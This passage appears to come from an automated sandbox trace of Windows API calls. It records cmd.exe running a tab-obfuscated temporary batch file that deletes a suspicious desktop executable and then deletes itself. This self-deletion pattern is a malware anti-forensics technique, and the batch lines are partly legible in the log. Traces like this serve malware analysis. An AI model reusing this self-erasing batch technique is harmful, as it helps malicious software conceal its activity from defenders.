\"C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe\" ") returned 59 [0088.622] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.622] GetFileType (hFile=0x7) returned 0x2 [0088.622] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.622] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf5cc | out: lpMode=0x1cf5cc) returned 1 [0088.622] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.622] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49fe4640*, nNumberOfCharsToWrite=0x3b, lpNumberOfCharsWritten=0x1cf5f8, lpReserved=0x0 | out: lpBuffer=0x49fe4640*, lpNumberOfCharsWritten=0x1cf5f8*=0x3b) returned 1 [0088.622] _vsnwprintf (in: _Buffer=0x49fe4640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1cf62c | out: _Buffer="\r\n") returned 2 [0088.623] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.623] GetFileType (hFile=0x7) returned 0x2 [0088.623] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.623] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf5ec | out: lpMode=0x1cf5ec) returned 1 [0088.623] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.623] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49fe4640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1cf618, lpReserved=0x0 | out: lpBuffer=0x49fe4640*, lpNumberOfCharsWritten=0x1cf618*=0x2) returned 1 [0088.623] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0088.623] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0088.623] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0088.623] GetConsoleTitleW (in: lpConsoleTitle=0x1cf19c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0088.624] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x1cef54 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop") returned 0x18 [0088.625] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x1cdfe4 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop") returned 0x18 [0088.625] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x1ce214, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x1ce218, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x1ce214*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0088.625] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0088.625] _wcsicmp (_String1="3838612080743901967.exe", _String2=".") returned 5 [0088.625] _wcsicmp (_String1="3838612080743901967.exe", _String2="..") returned 5 [0088.625] GetFileAttributesW (lpFileName="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe" (normalized: "c:\\users\\eebsym5\\desktop\\3838612080743901967.exe")) returned 0x20 [0088.625] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3d1da0 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop") returned 0x18 [0088.625] SetErrorMode (uMode=0x0) returned 0x0 [0088.625] SetErrorMode (uMode=0x1) returned 0x0 [0088.625] GetFullPathNameW (in: lpFileName="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe", nBufferLength=0x104, lpBuffer=0x1ce638, lpFilePart=0x1ce620 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe", lpFilePart=0x1ce620*="3838612080743901967.exe") returned 0x30 [0088.625] SetErrorMode (uMode=0x0) returned 0x1 [0088.626] GetFileAttributesW (lpFileName="C:\\Users\\EEBsYm5\\Desktop" (normalized: "c:\\users\\eebsym5\\desktop")) returned 0x11 [0088.626] _wcsicmp (_String1="3838612080743901967.exe", _String2=".") returned 5 [0088.626] _wcsicmp (_String1="3838612080743901967.exe", _String2="..") returned 5 [0088.626] GetFileAttributesW (lpFileName="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe" (normalized: "c:\\users\\eebsym5\\desktop\\3838612080743901967.exe")) returned 0x20 [0088.626] FindFirstFileExW (in: lpFileName="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe", fInfoLevelId=0x0, lpFindFileData=0x3d221c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3d221c) returned 0x3c1088 [0088.626] DeleteFileW (lpFileName="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe" (normalized: "c:\\users\\eebsym5\\desktop\\3838612080743901967.exe")) returned 1 [0088.627] FindNextFileW (in: hFindFile=0x3c1088, lpFindFileData=0x3d221c | out: lpFindFileData=0x3d221c) returned 0 [0088.628] GetLastError () returned 0x12 [0088.628] FindClose (in: hFindFile=0x3c1088 | out: hFindFile=0x3c1088) returned 1 [0088.628] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.628] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0088.629] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.629] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49fd41ac | out: lpMode=0x49fd41ac) returned 1 [0088.629] _get_osfhandle (_FileHandle=0) returned 0x3 [0088.629] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49fd41b0 | out: lpMode=0x49fd41b0) returned 1 [0088.629] SetConsoleInputExeNameW () returned 0x1 [0088.629] GetConsoleOutputCP () returned 0x1b5 [0088.629] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49fd4260 | out: lpCPInfo=0x49fd4260) returned 1 [0088.629] SetThreadUILanguage (LangId=0x0) returned 0x409 [0088.630] CreateFileW (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\temp\\18144644.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1cf5d4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58 [0088.630] _open_osfhandle (_OSFileHandle=0x58, _Flags=8) returned 3 [0088.630] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.630] SetFilePointer (in: hFile=0x58, lDistanceToMove=45, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2d [0088.631] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.631] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d [0088.631] ReadFile (in: hFile=0x58, lpBuffer=0x49fd6640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1cf5b8, lpOverlapped=0x0 | out: lpBuffer=0x49fd6640*, lpNumberOfBytesRead=0x1cf5b8*=0x31, lpOverlapped=0x0) returned 1 [0088.631] SetFilePointer (in: hFile=0x58, lDistanceToMove=83, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x53 [0088.631] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49fd6640, cbMultiByte=38, lpWideCharStr=0x49fdc640, cchWideChar=8191 | out: lpWideCharStr="\x09if \x09\x09 exist \x09 %1 \x09 goto \x09\r ktk\r\n") returned 38 [0088.631] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.631] GetFileType (hFile=0x58) returned 0x1 [0088.631] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.631] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x53 [0088.632] _wcsicmp (_String1="exist", _String2="/I") returned 54 [0088.632] _wcsicmp (_String1="ERRORLEVEL", _String2="exist") returned -6 [0088.632] _wcsicmp (_String1="EXIST", _String2="exist") returned 0 [0088.634] _tell (_FileHandle=3) returned 83 [0088.634] _close (_FileHandle=3) returned 0 [0088.634] _vsnwprintf (in: _Buffer=0x49fe4640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1cf38c | out: _Buffer="\r\n") returned 2 [0088.634] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.634] GetFileType (hFile=0x7) returned 0x2 [0088.634] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.634] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf34c | out: lpMode=0x1cf34c) returned 1 [0088.634] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.634] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49fe4640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1cf378, lpReserved=0x0 | out: lpBuffer=0x49fe4640*, lpNumberOfCharsWritten=0x1cf378*=0x2) returned 1 [0088.635] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49fd5260 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop") returned 0x18 [0088.635] _vsnwprintf (in: _Buffer=0x49fd5e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1cf388 | out: _Buffer="C:\\Users\\EEBsYm5\\Desktop") returned 24 [0088.635] _vsnwprintf (in: _Buffer=0x49fd5e70, _BufferCount=0x3e6, _Format="%c", _ArgList=0x1cf388 | out: _Buffer=">") returned 1 [0088.635] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.635] GetFileType (hFile=0x7) returned 0x2 [0088.635] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.635] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf350 | out: lpMode=0x1cf350) returned 1 [0088.635] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.635] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49fd5e40*, nNumberOfCharsToWrite=0x19, lpNumberOfCharsWritten=0x1cf37c, lpReserved=0x0 | out: lpBuffer=0x49fd5e40*, lpNumberOfCharsWritten=0x1cf37c*=0x19) returned 1 [0088.636] _vsnwprintf (in: _Buffer=0x49fe4640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x1cf60c | out: _Buffer="if ") returned 3 [0088.636] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.636] GetFileType (hFile=0x7) returned 0x2 [0088.636] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.636] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf5cc | out: lpMode=0x1cf5cc) returned 1 [0088.636] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.636] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49fe4640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x1cf5f8, lpReserved=0x0 | out: lpBuffer=0x49fe4640*, lpNumberOfCharsWritten=0x1cf5f8*=0x3) returned 1 [0088.636] _vsnwprintf (in: _Buffer=0x49fe4640, _BufferCount=0x1fff, _Format="%s %s ", _ArgList=0x1cf5ec | out: _Buffer="exist \"C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe\" ") returned 57 [0088.636] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.636] GetFileType (hFile=0x7) returned 0x2 [0088.637] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.637] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf5ac | out: lpMode=0x1cf5ac) returned 1 [0088.637] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.637] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49fe4640*, nNumberOfCharsToWrite=0x39, lpNumberOfCharsWritten=0x1cf5d8, lpReserved=0x0 | out: lpBuffer=0x49fe4640*, lpNumberOfCharsWritten=0x1cf5d8*=0x39) returned 1 [0088.637] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.637] GetFileType (hFile=0x7) returned 0x2 [0088.637] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.637] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf5b8 | out: lpMode=0x1cf5b8) returned 1 [0088.637] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.638] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x3c0e98*, nNumberOfCharsToWrite=0x4, lpNumberOfCharsWritten=0x1cf5e4, lpReserved=0x0 | out: lpBuffer=0x3c0e98*, lpNumberOfCharsWritten=0x1cf5e4*=0x4) returned 1 [0088.638] _vsnwprintf (in: _Buffer=0x49fe4640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x1cf5f0 | out: _Buffer=" \x09 ktk ") returned 7 [0088.638] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.638] GetFileType (hFile=0x7) returned 0x2 [0088.638] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.638] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf5b0 | out: lpMode=0x1cf5b0) returned 1 [0088.638] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.638] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49fe4640*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x1cf5dc, lpReserved=0x0 | out: lpBuffer=0x49fe4640*, lpNumberOfCharsWritten=0x1cf5dc*=0x7) returned 1 [0088.638] _vsnwprintf (in: _Buffer=0x49fe4640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1cf62c | out: _Buffer="\r\n") returned 2 [0088.638] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.638] GetFileType (hFile=0x7) returned 0x2 [0088.639] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.639] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf5ec | out: lpMode=0x1cf5ec) returned 1 [0088.639] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.639] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49fe4640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1cf618, lpReserved=0x0 | out: lpBuffer=0x49fe4640*, lpNumberOfCharsWritten=0x1cf618*=0x2) returned 1 [0088.639] GetFullPathNameW (in: lpFileName="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe", nBufferLength=0x208, lpBuffer=0x1cf194, lpFilePart=0x1cef40 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe", lpFilePart=0x1cef40*="3838612080743901967.exe") returned 0x30 [0088.639] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0088.639] FindFirstFileExW (in: lpFileName="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe", fInfoLevelId=0x1, lpFindFileData=0x1cef44, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cef44) returned 0xffffffff [0088.640] GetLastError () returned 0x2 [0088.640] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0088.640] GetLastError () returned 0x6 [0088.640] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.640] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0088.640] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.640] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49fd41ac | out: lpMode=0x49fd41ac) returned 1 [0088.640] _get_osfhandle (_FileHandle=0) returned 0x3 [0088.640] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49fd41b0 | out: lpMode=0x49fd41b0) returned 1 [0088.640] SetConsoleInputExeNameW () returned 0x1 [0088.640] GetConsoleOutputCP () returned 0x1b5 [0088.640] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49fd4260 | out: lpCPInfo=0x49fd4260) returned 1 [0088.640] SetThreadUILanguage (LangId=0x0) returned 0x409 [0088.641] CreateFileW (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\temp\\18144644.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1cf5d4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58 [0088.641] _open_osfhandle (_OSFileHandle=0x58, _Flags=8) returned 3 [0088.641] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.641] SetFilePointer (in: hFile=0x58, lDistanceToMove=83, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x53 [0088.641] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.641] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x53 [0088.641] ReadFile (in: hFile=0x58, lpBuffer=0x49fd6640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1cf5b8, lpOverlapped=0x0 | out: lpBuffer=0x49fd6640*, lpNumberOfBytesRead=0x1cf5b8*=0xb, lpOverlapped=0x0) returned 1 [0088.642] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49fd6640, cbMultiByte=11, lpWideCharStr=0x49fdc640, cchWideChar=8191 | out: lpWideCharStr=" del \x09 %0 st \x09 %1 \x09 goto \x09\r ktk\r\n") returned 11 [0088.643] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.643] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e [0088.643] ReadFile (in: hFile=0x58, lpBuffer=0x49fd6640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1cf4c0, lpOverlapped=0x0 | out: lpBuffer=0x49fd6640*, lpNumberOfBytesRead=0x1cf4c0*=0x0, lpOverlapped=0x0) returned 1 [0088.643] GetLastError () returned 0x0 [0088.643] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.643] GetFileType (hFile=0x58) returned 0x1 [0088.643] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.643] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5e [0088.643] _tell (_FileHandle=3) returned 94 [0088.643] _close (_FileHandle=3) returned 0 [0088.643] _vsnwprintf (in: _Buffer=0x49fe4640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1cf38c | out: _Buffer="\r\n") returned 2 [0088.643] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.643] GetFileType (hFile=0x7) returned 0x2 [0088.644] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.644] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf34c | out: lpMode=0x1cf34c) returned 1 [0088.644] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.644] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49fe4640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1cf378, lpReserved=0x0 | out: lpBuffer=0x49fe4640*, lpNumberOfCharsWritten=0x1cf378*=0x2) returned 1 [0088.644] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49fd5260 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop") returned 0x18 [0088.644] _vsnwprintf (in: _Buffer=0x49fd5e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1cf388 | out: _Buffer="C:\\Users\\EEBsYm5\\Desktop") returned 24 [0088.644] _vsnwprintf (in: _Buffer=0x49fd5e70, _BufferCount=0x3e6, _Format="%c", _ArgList=0x1cf388 | out: _Buffer=">") returned 1 [0088.644] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.644] GetFileType (hFile=0x7) returned 0x2 [0088.645] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.645] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf350 | out: lpMode=0x1cf350) returned 1 [0088.645] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.645] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49fd5e40*, nNumberOfCharsToWrite=0x19, lpNumberOfCharsWritten=0x1cf37c, lpReserved=0x0 | out: lpBuffer=0x49fd5e40*, lpNumberOfCharsWritten=0x1cf37c*=0x19) returned 1 [0088.645] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.645] GetFileType (hFile=0x7) returned 0x2 [0088.645] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.645] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf5d4 | out: lpMode=0x1cf5d4) returned 1 [0088.646] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.646] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x3c2ef8*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x1cf600, lpReserved=0x0 | out: lpBuffer=0x3c2ef8*, lpNumberOfCharsWritten=0x1cf600*=0x3) returned 1 [0088.646] _vsnwprintf (in: _Buffer=0x49fe4640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x1cf60c | out: _Buffer=" \x09 \"C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat\" ") returned 56 [0088.646] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.646] GetFileType (hFile=0x7) returned 0x2 [0088.646] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.646] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf5cc | out: lpMode=0x1cf5cc) returned 1 [0088.646] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.647] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49fe4640*, nNumberOfCharsToWrite=0x38, lpNumberOfCharsWritten=0x1cf5f8, lpReserved=0x0 | out: lpBuffer=0x49fe4640*, lpNumberOfCharsWritten=0x1cf5f8*=0x38) returned 1 [0088.647] _vsnwprintf (in: _Buffer=0x49fe4640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1cf62c | out: _Buffer="\r\n") returned 2 [0088.647] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.647] GetFileType (hFile=0x7) returned 0x2 [0088.647] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.647] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf5ec | out: lpMode=0x1cf5ec) returned 1 [0088.647] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.647] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49fe4640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1cf618, lpReserved=0x0 | out: lpBuffer=0x49fe4640*, lpNumberOfCharsWritten=0x1cf618*=0x2) returned 1 [0088.647] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0088.647] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0088.647] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0088.647] GetConsoleTitleW (in: lpConsoleTitle=0x1cf19c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0088.648] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x1cef54 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop") returned 0x18 [0088.648] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x1cdfe4 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop") returned 0x18 [0088.648] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x1ce214, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x1ce218, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x1ce214*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0088.648] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0088.649] _wcsicmp (_String1="18144644.bat", _String2=".") returned 3 [0088.649] _wcsicmp (_String1="18144644.bat", _String2="..") returned 3 [0088.649] GetFileAttributesW (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\temp\\18144644.bat")) returned 0x2020 [0088.649] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3c3d68 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop") returned 0x18 [0088.649] SetErrorMode (uMode=0x0) returned 0x0 [0088.649] SetErrorMode (uMode=0x1) returned 0x0 [0088.649] GetFullPathNameW (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat", nBufferLength=0x104, lpBuffer=0x1ce638, lpFilePart=0x1ce620 | out: lpBuffer="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat", lpFilePart=0x1ce620*="18144644.bat") returned 0x30 [0088.649] SetErrorMode (uMode=0x0) returned 0x1 [0088.649] GetFileAttributesW (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp" (normalized: "c:\\users\\eebsym5\\appdata\\local\\temp")) returned 0x2010 [0088.649] _wcsicmp (_String1="18144644.bat", _String2=".") returned 3 [0088.649] _wcsicmp (_String1="18144644.bat", _String2="..") returned 3 [0088.649] GetFileAttributesW (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\temp\\18144644.bat")) returned 0x2020 [0088.650] FindFirstFileExW (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat", fInfoLevelId=0x0, lpFindFileData=0x3c41e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3c41e4) returned 0x3c1008 [0088.650] DeleteFileW (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\temp\\18144644.bat")) returned 1 [0088.651] FindNextFileW (in: hFindFile=0x3c1008, lpFindFileData=0x3c41e4 | out: lpFindFileData=0x3c41e4) returned 0 [0088.652] GetLastError () returned 0x12 [0088.652] FindClose (in: hFindFile=0x3c1008 | out: hFindFile=0x3c1008) returned 1 [0088.653] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.653] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0088.653] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.653] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49fd41ac | out: lpMode=0x49fd41ac) returned 1 [0088.653] _get_osfhandle (_FileHandle=0) returned 0x3 [0088.653] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49fd41b0 | out: lpMode=0x49fd41b0) returned 1 [0088.653] SetConsoleInputExeNameW () returned 0x1 [0088.654] GetConsoleOutputCP () returned 0x1b5 [0088.654] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49fd4260 | out: lpCPInfo=0x49fd4260) returned 1 [0088.654] SetThreadUILanguage (LangId=0x0) returned 0x409 [0088.655] CreateFileW (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\temp\\18144644.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1cf5d4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0088.655] GetLastError () returned 0x2 [0088.655] _get_osfhandle (_FileHandle=2) returned 0xb [0088.655] GetFileType (hFile=0xb) returned 0x2 [0088.655] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0088.655] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1cf58c | out: lpMode=0x1cf58c) returned 1 [0088.656] _get_osfhandle (_FileHandle=2) returned 0xb [0088.656] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x1cf5c0 | out: lpConsoleScreenBufferInfo=0x1cf5c0) returned 1 [0088.656] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x236c, dwLanguageId=0x0, lpBuffer=0x49fe4640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="The batch file cannot be found.\r\n") returned 0x21 [0088.656] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x236c, dwLanguageId=0x0, lpBuffer=0x49fe4640, nSize=0x2000, Arguments=0x1cf600 | out: lpBuffer="The batch file cannot be found.\r\n") returned 0x21 [0088.656] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x49fe4640*, nNumberOfCharsToWrite=0x21, lpNumberOfCharsWritten=0x1cf5e4, lpReserved=0x0 | out: lpBuffer=0x49fe4640*, lpNumberOfCharsWritten=0x1cf5e4*=0x21) returned 1 [0088.656] CmdBatNotification () returned 0x0 [0088.657] _get_osfhandle (_FileHandle=1) returned 0x7 